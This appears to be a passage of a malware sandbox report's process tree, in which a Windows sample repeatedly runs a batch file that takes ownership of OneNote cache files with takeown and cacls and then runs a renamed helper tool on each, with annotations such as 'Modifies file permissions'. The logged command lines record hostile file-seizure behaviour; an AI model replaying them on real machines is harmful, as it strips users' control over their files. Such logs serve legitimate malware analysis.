C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000085.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000085.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000085.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000085.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000085.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000099.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000099.bin" -nobanner3⤵
- System Location Discovery: System Language Discovery
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000099.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009H.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009H.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009H.bin"3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000009H.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000009H.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000C.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000C.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000C.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000M.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000U.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000U.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000U.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000016.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000016.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000016.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000056.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000056.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000056.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006U.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000006U.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000006U.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000076.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000076.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000076.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007E.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007E.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007E.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007M.bin"3⤵
- Modifies file permissions
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007M.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007M.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin""2⤵
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008F.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000008N.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000008N.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000008N.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000091.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000091.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000091.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000091.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000091.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A0.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A0.bin" /E /G Admin:F /C3⤵
- System Location Discovery: System Language Discovery
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A0.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000A0.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000A0.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A9.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A9.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A9.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000A9.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000A9.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000007.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000007.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000007.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000I.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000I.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000I.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000I.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000I.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000000R.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000000R.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000000R.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000013.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000013.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000013.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000013.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000013.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006J.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006J.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000006J.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000006J.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000006J.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000073.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000073.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000073.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000073.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000073.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007R.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007R.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000007R.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000007R.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000007R.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\00000083.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "00000083.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "00000083.bin" -nobanner4⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\0000009F.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "0000009F.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "0000009F.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
- System Location Discovery: System Language Discovery
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000A6.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000A6.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000A6.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AF.bin"3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000AF.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000AF.bin" -nobanner4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula -c Run -y -p extract -nobanner3⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\pIGuRUh1.bat" "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AN.bin""2⤵
-
C:\Windows\SysWOW64\cacls.execacls "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AN.bin" /E /G Admin:F /C3⤵
-
-
C:\Windows\SysWOW64\takeown.exetakeown /F "C:\Users\Admin\AppData\Local\Microsoft\OneNote\16.0\cache\000000AN.bin"3⤵
- Modifies file permissions
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c wRsAJGlb.exe -accepteula "000000AN.bin" -nobanner3⤵
-
C:\Users\Admin\AppData\Local\Temp\wRsAJGlb.exewRsAJGlb.exe -accepteula "000000AN.bin" -nobanner4⤵
-
-
-
